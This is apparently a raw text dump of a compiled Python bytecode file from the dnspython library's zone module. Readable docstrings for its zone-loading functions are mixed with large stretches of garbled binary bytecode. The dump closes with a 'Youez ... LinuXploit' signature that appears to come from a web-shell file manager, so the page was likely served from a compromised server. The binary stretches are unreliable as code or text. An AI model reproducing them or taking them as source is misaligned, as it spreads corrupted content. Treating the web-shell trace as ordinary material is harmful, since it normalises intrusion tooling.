    of the zone; if not specified, the first ``$ORIGIN`` statement in the
    zone file will determine the origin of the zone.

    *rdclass*, a ``dns.rdataclass.RdataClass``, the zone's rdata class; the default is
    class IN.

    *relativize*, a ``bool``, determine's whether domain names are
    relativized to the zone's origin.  The default is ``True``.

    *zone_factory*, the zone factory to use or ``None``.  If ``None``, then
    ``dns.zone.Zone`` will be used.  The value may be any class or callable
    that returns a subclass of ``dns.zone.Zone``.

    *filename*, a ``str`` or ``None``, the filename to emit when
    describing where an error occurred; the default is ``'<string>'``.

    *allow_include*, a ``bool``.  If ``True``, the default, then ``$INCLUDE``
    directives are permitted.  If ``False``, then encoutering a ``$INCLUDE``
    will raise a ``SyntaxError`` exception.

    *check_origin*, a ``bool``.  If ``True``, the default, then sanity
    checks of the origin node will be made by calling the zone's
    ``check_origin()`` method.

    *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA
    encoder/decoder.  If ``None``, the default IDNA 2003 encoder/decoder
    is used.

    *allow_directives*, a ``bool`` or an iterable of `str`.  If ``True``, the default,
    then directives are permitted, and the *allow_include* parameter controls whether
    ``$INCLUDE`` is permitted.  If ``False`` or an empty iterable, then no directive
    processing is done and any directive-like text will be treated as a regular owner
    name.  If a non-empty iterable, then only the listed directives (including the
    ``$``) are allowed.

    Raises ``dns.zone.NoSOA`` if there is no SOA RRset.

    Raises ``dns.zone.NoNS`` if there is no NS RRset.

    Raises ``KeyError`` if there is no origin node.

    Returns a subclass of ``dns.zone.Zone``.
    )r�)
r�rr-r r�r�r�r�r�r�rrrr1�s<�r1)rmrr-r r�r�r�r�r�r�r!c
Cstt|t�r |dur|}t|�}
n
t�|�}
|
�*}t||||||||||	�
Wd�S1s^0YdspJ�dS)aRead a zone file and build a zone object.

    *f*, a file or ``str``.  If *f* is a string, it is treated
    as the name of a file to open.

    *origin*, a ``dns.name.Name``, a ``str``, or ``None``.  The origin
    of the zone; if not specified, the first ``$ORIGIN`` statement in the
    zone file will determine the origin of the zone.

    *rdclass*, an ``int``, the zone's rdata class; the default is class IN.

    *relativize*, a ``bool``, determine's whether domain names are
    relativized to the zone's origin.  The default is ``True``.

    *zone_factory*, the zone factory to use or ``None``.  If ``None``, then
    ``dns.zone.Zone`` will be used.  The value may be any class or callable
    that returns a subclass of ``dns.zone.Zone``.

    *filename*, a ``str`` or ``None``, the filename to emit when
    describing where an error occurred; the default is ``'<string>'``.

    *allow_include*, a ``bool``.  If ``True``, the default, then ``$INCLUDE``
    directives are permitted.  If ``False``, then encoutering a ``$INCLUDE``
    will raise a ``SyntaxError`` exception.

    *check_origin*, a ``bool``.  If ``True``, the default, then sanity
    checks of the origin node will be made by calling the zone's
    ``check_origin()`` method.

    *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA
    encoder/decoder.  If ``None``, the default IDNA 2003 encoder/decoder
    is used.

    *allow_directives*, a ``bool`` or an iterable of `str`.  If ``True``, the default,
    then directives are permitted, and the *allow_include* parameter controls whether
    ``$INCLUDE`` is permitted.  If ``False`` or an empty iterable, then no directive
    processing is done and any directive-like text will be treated as a regular owner
    name.  If a non-empty iterable, then only the listed directives (including the
    ``$``) are allowed.

    Raises ``dns.zone.NoSOA`` if there is no SOA RRset.

    Raises ``dns.zone.NoNS`` if there is no NS RRset.

    Raises ``KeyError`` if there is no origin node.

    Returns a subclass of ``dns.zone.Zone``.
    NF)r/r0rurvrwr�)rmrr-r r�r�r�r�r�r�r�rrr�	from_files&=


�"r�)�xfrr�r r�r!cCs�d}|D]�}|durF|r |j}n|jdj}|jdj}||||d�}|jD]`}|j�|j�}	|	sv|��}	|	|j|j<|	�|j|j|j	d�}
|
�
|j�|D]}|
�|�q�qLq|dur�t
d��|r�|��|S)aNConvert the output of a zone transfer generator into a zone object.

    *xfr*, a generator of ``dns.message.Message`` objects, typically
    ``dns.query.xfr()``.

    *relativize*, a ``bool``, determine's whether domain names are
    relativized to the zone's origin.  The default is ``True``.
    It is essential that the relativize setting matches the one specified
    to the generator.

    *check_origin*, a ``bool``.  If ``True``, the default, then sanity
    checks of the origin node will be made by calling the zone's
    ``check_origin()`` method.

    Raises ``dns.zone.NoSOA`` if there is no SOA RRset.

    Raises ``dns.zone.NoNS`` if there is no NS RRset.

    Raises ``KeyError`` if there is no origin node.

    Raises ``ValueError`` if no messages are yielded by the generator.

    Returns a subclass of ``dns.zone.Zone``.
    Nrr�Tzempty transfer)rZanswerrr-r.rLr'rYrTrUZ
update_ttlrjr�r3r�)r�r�r r��z�rrr-rbZznodeZzrdsZrdrrr�from_xfres,
r)Hrrvr�ryr��typingrrrrrrrr	r
rZ
dns.exceptionr$Z
dns.grangeZ
dns.immutableZdns.nameZdns.nodeZ	dns.rdataZdns.rdataclassZdns.rdatasetZ
dns.rdatatypeZdns.rdtypes.ANY.SOAZdns.rdtypes.ANY.ZONEMDZ	dns.rrsetZ
dns.tokenizerZdns.transactionZdns.ttlZdns.zonefileZ
dns.zonetypesrr
r�	exceptionZDNSExceptionrrrrrrrrrr2r�r%r�ZTransactionManagerr&rPr�r�r�r�r�r)r+r�r�r�r0r�Z	IDNACodecr�r1r�rrrrr�<module>s�0

� 	-)?X�
�,�
�L�
�U��

Youez - 2016 - github.com/yon3zu
LinuXploit